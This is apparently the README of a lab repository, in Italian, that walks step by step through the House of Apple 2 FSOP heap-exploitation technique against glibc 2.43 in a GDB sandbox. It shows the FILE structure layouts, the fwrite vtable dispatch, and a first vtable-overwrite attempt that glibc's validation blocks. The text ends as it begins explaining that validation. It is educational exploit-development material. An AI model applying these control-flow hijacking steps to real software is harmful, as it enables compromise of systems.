
Walkthrough interattivo con GDB della tecnica FSOP House of Apple 2 su glibc 2.43, con una sandbox riproducibile che copre il bypass della vtable, lo stack pivoting e il ROP.
Questo repository è un playground autonomo ispirato al modulo File Struct Exploitation di pwn.college. Non introduce una nuova variante di House of Apple 2, risponde semplicemente alla mia curiosità su come la tecnica regga sulle versioni recenti di glibc e se rimanga un percorso di exploitation praticabile. Il documento fornisce una walkthrough interattiva con GDB che i lettori possono seguire insieme alla sandbox per sviluppare una comprensione più intuitiva della primitiva. Tutti gli esperimenti utilizzano glibc 2.43, così come pacchettizzata da Ubuntu 26.04 e Fedora 44 al momento della stesura.
File Stream Oriented Programming (FSOP). Si tratta di manipolare le strutture file stream di glibc per dirottare il flusso di controllo. Un modo per farlo è corrompere il meccanismo di dispatch della vtable di _IO_FILE_plus. Le glibc moderne validano questa vtable, quindi l'approccio ovvio di sostituirla con un indirizzo arbitrario non funziona.
House of Apple 2, introdotta originariamente da Roderick, aggira questa restrizione utilizzando una vtable _IO_FILE_plus valida per raggiungere il meccanismo degli stream di caratteri wide, dove una vtable secondaria viene invocata direttamente senza validazione di range. Questo fornisce una primitiva di arbitrary call che possiamo escalare in uno stack pivot e una ROP chain.
Questa esplorazione presuppone che possiamo sovrascrivere una struttura FILE e che abbiamo sia un heap leak che un libc leak. Il binario target fornisce già questo.
La sandbox esegue Ubuntu 26.04 LTS, dandoci un ambiente moderno per esplorare la tecnica.
L'immagine include GDB, pwndbg, pwntools, ropper e tmux. Contiene anche un binario target con un menu interattivo per invocare operazioni su file stream come fopen, fread, fwrite e fclose. Questo ci offre un modo comodo per manipolare gli stream durante il debugging e il test delle idee.
Compila ed esegui la sandbox con:``` ./build.sh ./run.sh
## Esplorazione
Iniziamo ispezionando le strutture `_IO_FILE` e `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
In termini pratici, _IO_FILE_plus è un _IO_FILE con un puntatore alla vtable. Questo appare immediatamente interessante: se riusciamo a controllare questo puntatore, potremmo essere in grado di reindirizzare una chiamata indiretta e dirottare il flusso di controllo.
Per ispezionare la vtable, esaminiamo un puntatore FILE restituito da fopen.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
Il puntatore punta alla tabella `_IO_file_jumps`.

Questo è un insieme di 21 puntatori a funzione. Le operazioni sui flussi di file vengono dispatchate attraverso voci diverse a seconda del percorso di esecuzione.
### Seguire il percorso di `fwrite`
Per questa esplorazione mi concentrerò sul percorso di `fwrite`. Dopo aver impostato breakpoint su ciascuna funzione e aver chiamato `fwrite`, il primo breakpoint che incontriamo è `_IO_file_xsputn`.

La chiamata avviene a `fwrite+216`. Questo corrisponde al [sorgente glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` è una macro che esegue il dispatch attraverso la vtable, risolvendosi in `_IO_file_xsputn` per questo stream.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Come primo tentativo, sovrascriviamo il puntatore alla vtable con desired_func - 0x38 e impostiamo un breakpoint a fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

L'esecuzione si interrompe prima di raggiungere il breakpoint. L'errore suggerisce che glibc convalida il puntatore alla vtable prima di eseguire la chiamata indiretta. Esaminiamo il backtrace e vediamo dove accade.
`fwrite` raggiunge `_IO_vtable_check` che rifiuta il puntatore alla vtable contraffatto.

L'implementazione contiene un meccanismo per accettare vtable esterne, ma non è sotto il nostro controllo. Il codice rilevante è disponibile in [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).
### Comprendere la validazione della vtable